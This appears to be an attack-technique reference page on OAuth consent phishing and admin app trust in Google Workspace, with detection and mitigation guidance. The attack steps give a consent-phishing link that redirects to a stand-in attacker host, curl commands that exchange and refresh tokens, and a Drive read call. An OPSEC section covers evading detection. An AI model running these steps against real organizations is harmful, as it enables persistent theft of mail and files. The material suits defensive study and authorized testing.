How it works
Google Workspace data is reached by third-party software through OAuth 2.0. An app, identified by a client ID, sends the user to Google's authorization endpoint with a list of scopes. The user signs in to Google, sees a consent screen, and approves. Google gives the app an authorization code, which the app exchanges for an access token and, when it asked for offline access, a refresh token. From then on the app calls Google APIs as the user, within the approved scopes. This is application consent, and it is working as designed.
The attack replaces the honest app with the attacker's. Nothing is broken and no credential is stolen in the usual sense. The victim does the authentication, including 2-Step Verification, and hands the result to the attacker's client. Three levels of the same idea exist:
- A user consents. A phishing message leads to a real Google consent screen for the attacker's app. By default, users may authorize any third-party app that an administrator has not configured. The grant covers that one user.
- An administrator trusts the app. In API controls an app can be set to Trusted (access to all Google Workspace services, including restricted ones), Specific Google data, Limited (unrestricted services only) or Blocked. An attacker in an admin session who marks their client ID as Trusted lifts every restriction the organization placed on high-risk services for that app. This needs the Service Settings privilege.
- An administrator installs a Marketplace app. A super administrator can install a Marketplace app for the whole organization or for selected organizational units and groups, and accepts the app's data access requirements during installation. One decision makes the app available to every user in that population, including users who are not allowed to install apps themselves.
Whether an individual user still has to authorize depends on the installation and consent model, so the population an app is available to and the set of users who actually granted it are two different lists.
Two properties make the result valuable. The OAuth token is independent of the password, and it lasts: a refresh token stays valid until the user or an administrator revokes it, it is unused for six months, or one of a few other documented conditions applies. And scopes can grow. A new version of an app may request more than the last one, and a grant may be extended by incremental authorization.
The same pattern on other platforms is described in illicit consent grant for Entra ID and GitHub OAuth and GitHub App abuse.
Prerequisites
For consent phishing:
- A Google Cloud project of the attacker's own with an OAuth client and a consent screen. No access to the victim organization is needed.
- A way to deliver a link to the target.
- A target organization that lets users authorize unconfigured third-party apps, or at least the scopes the attacker asks for. If the organization has set the service (for example Gmail or Drive) to Restricted, only apps marked Trusted or Specific Google data can get its scopes.
For the administrator variants:
- A Workspace admin session with the Service Settings privilege (API controls), or a super administrator session (Marketplace installation).
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Register the client
In a Google Cloud project, the attacker configures the OAuth consent screen (app name, logo, support address), creates an OAuth client of type web application, and registers a redirect URI on a server they control. The app name and logo are what the victim will see.
An app whose publishing status is Testing gets refresh tokens that expire after 7 days unless it only asks for basic profile scopes. An app in production that asks for sensitive scopes without Google's verification shows the unverified app warning.
2. Send the consent link
https://accounts.google.com/o/oauth2/v2/auth
?client_id=<CLIENT_ID>
&redirect_uri=https://app.attacker.example/oauth/callback
&response_type=code
&scope=https://www.googleapis.com/auth/drive.readonly%20https://www.googleapis.com/auth/gmail.readonly
&access_type=offline
&prompt=consent
&login_hint=alice@corp.example.com
access_type=offline makes Google return a refresh token on the first code exchange. prompt=consent shows the consent screen even if the user approved before. login_hint pre-selects the victim's account. The link points at accounts.google.com, so URL filters and trained users see a genuine Google address.
3. Exchange the code for tokens
When the victim approves, Google redirects the browser to the redirect URI with a code parameter.
curl -s https://oauth2.googleapis.com/token \
--data "client_id=<CLIENT_ID>" \
--data "client_secret=<CLIENT_SECRET>" \
--data "code=<AUTHORIZATION_CODE>" \
--data "grant_type=authorization_code" \
--data "redirect_uri=https://app.attacker.example/oauth/callback"
The response holds an access token and a refresh token.
4. Keep access and read data
# New access token whenever needed, with no user interaction
curl -s https://oauth2.googleapis.com/token \
--data "client_id=<CLIENT_ID>" \
--data "client_secret=<CLIENT_SECRET>" \
--data "grant_type=refresh_token" \
--data "refresh_token=<REFRESH_TOKEN>"
# The victim's Drive files
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://www.googleapis.com/drive/v3/files?pageSize=100&fields=files(id,name,modifiedTime)"
5. Administrator variants
With an admin session the attacker removes the obstacles instead of working around them:
- Trust the client. In the Admin console under Security, API controls, Manage App Access, add the app by its OAuth client ID and set its access to Trusted. The app can then request scopes of restricted services from any user.
- Trust internal apps. The "Trust internal apps" setting lets every app owned by the organization's own Google Cloud projects reach restricted APIs. A client created in a project the attacker controls inside the organization is covered by it.
- Install a Marketplace app. From the Marketplace apps list, install the app for a chosen organizational unit or group and accept its data access requirements.
6. Inventory existing grants
The same inventory serves an attacker looking for an over-privileged app to take over and a defender looking for the attacker's app:
# Every user's grants: client ID, app name, scopes
gam all users print tokens
# Users who granted one specific client
gam all users print tokens clientid <CLIENT_ID>
# One user's grants
gam user alice@corp.example.com show tokens
Impact
- Mailbox and file access without credentials. With Gmail and Drive scopes the attacker reads, searches and downloads the victim's mail and files from their own infrastructure. This is credential theft in effect, without a password ever leaving the user.
- Persistence through password resets. A password change revokes only refresh tokens that contain Gmail scopes. An attacker who asks for Drive, Calendar or Contacts scopes keeps access after the standard incident response step of resetting the password.
- Scale. A trusted app or a Marketplace installation covers a population, not a person. If the app also holds domain-wide delegation, no user consent is involved at all.
- Further phishing. With send or compose scopes the attacker mails from the victim's real account.
Removing the app from the Marketplace list or deleting a script does not by itself end the tokens that users already granted. Each grant has to be revoked.
OPSEC and artifacts
- Avoiding Gmail scopes. Drive-only access survives a password reset and matches a lower-severity detection rule than mailbox scopes. The grant is still recorded, with the client ID, the app name and every scope, as a token audit
authorizeevent in the Reports API. In Cloud Logging the OAuth Token Audit stream has the methodsRequest,GetToken,DenyandRevokeToken; Google does not state which Reports event each one carries, and the detection rules read GetToken as the grant. - Borrowing a familiar name. The consent screen shows the name and logo the attacker chose. The client ID can't be chosen, and it is what the logs and the grant inventory record.
- Asking for little, then more. A first grant for basic scopes looks harmless; a later request adds scopes. Each additional authorization is its own
authorizeevent with the new scope list. - Using the token quietly. API calls made with the token appear as token audit
activityevents with the API name, the method name and the number of response bytes, attributed to the client ID. There is no login event, because nobody signed in. - Admin changes. Trusting an app, opening a service to app access and installing or allowlisting a Marketplace app are admin audit events: addToTrustedOauth2Apps, allowServiceForOauth2Access, addApplication and addApplicationToWhitelist.
- Lag. The Admin console's accessed apps list typically shows an app 24 to 48 hours after authorization, so the console view trails the audit events.
Detection
- New grants with high-risk scopes. The high-risk OAuth scope rules match user grants that include Gmail or Drive scopes. Prioritize a client ID that the organization has never seen, a client that several users authorize within a short time (a phishing wave), and grants by administrators or executives.
logName="organizations/000000000000/logs/cloudaudit.googleapis.com%2Factivity"
protoPayload.serviceName="oauth2.googleapis.com"
protoPayload.methodName="google.identity.oauth2.GetToken"
The Reports API names the grant directly: applicationName=token and eventName=authorize, with the parameters client_id, app_name, client_type and scope.
- Weakened controls. The third-party app access control rules match an app being trusted, a restricted service being opened, and Marketplace additions.
- Grant inventory against a baseline. Export all grants on a schedule and compare snapshots by customer, client ID and normalized scope set. Report new clients separately from scope changes of known clients, and remember that scope order can change without any change in authority. A snapshot shows only what exists at collection time, so pair it with the
authorizeandrevokeevents for the days in between. - Use after revocation. Order events by their own timestamps before concluding that a client was used after it was revoked; late delivery of a log record can look like continued use. Activity of the same client ID after its
revokeevent, with matching user, is an escalation. - Data volume. For a suspect client, sum
num_response_bytesof itsactivityevents per user and API to estimate what was read. A grant alone does not show that any data was accessed.
Mitigation
- Change the default for unconfigured apps. In API controls, stop allowing users to access any third-party app. Either allow only apps that request basic sign-in information, or block apps until an administrator has configured them.
- Restrict high-risk services. Set Gmail, Drive and other sensitive services to Restricted, so that only apps marked Trusted or Specific Google data can get their scopes. Google notes that when a service becomes Restricted, tokens of apps that are not trusted are revoked.
- Review before trusting. Evaluate the publisher, the exact client ID and the requested scopes before setting an app to Trusted, and prefer Specific Google data with a fixed scope list. Leave "Trust internal apps" off unless project creation in the organization is controlled.
- Limit Marketplace installation. Decide whether users may install Marketplace apps at all, keep an allowlist, and record for every admin installation who approved which scopes for which population.
- Guard the admin privileges. The Service Settings privilege and super administrator rights decide these controls. See admin role assignment abuse.
- Respond by revoking, not only resetting. For an affected user remove the grant (
gam user alice@corp.example.com delete tokens clientid <CLIENT_ID>), then block the client ID in API controls so that nobody can authorize it again, and check the other users who granted the same client. - Teach the consent screen. Users should report any unexpected request for access to mail or files, with the app name shown, even when the page is a real Google page.
Detection rules for this attack
Log events to collect
FAQ
Does changing the password remove a malicious app's access?
Usually not. Google documents that a password change invalidates a refresh token only when the token contains Gmail scopes. A token for Drive, Calendar or Directory scopes keeps working after a password reset. The grant itself has to be revoked, by the user in the Google Account or by an administrator.
Does 2-Step Verification stop consent phishing?
No. The victim signs in to the real Google sign-in page, passes 2-Step Verification themselves, and then approves the app. The attacker never handles the password or the second factor. Afterwards the app's refresh token gets new access tokens without any user interaction.
What is the default setting for third-party apps in Google Workspace?
For apps that an administrator has not configured, the default is to allow users to access any third-party app. The other choices are to allow only apps that request basic sign-in information, or to block third-party apps until they are configured.
How is a Marketplace app different from an app a user consents to?
A user grant covers one account and the scopes that user approved. A Marketplace app that an administrator installs is made available to the whole organization or to selected organizational units and groups, and the administrator reviews and accepts its data access requirements during installation, so one decision reaches many accounts.
References
- Control which apps access Google Workspace data (Google Workspace Admin Help)
- Install Marketplace apps for your organization (Google Workspace Admin Help)
- Using OAuth 2.0 for Web Server Applications (Google for Developers)
- Using OAuth 2.0 to Access Google APIs: refresh token expiration (Google for Developers)
- OAuth token audit activity events (Admin SDK Reports API)
- Method: tokens.list (Admin SDK Directory API)
- Audit logs for Google Workspace in Cloud Logging (Google Cloud)
- Steal Application Access Token, T1528 (MITRE ATT&CK)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.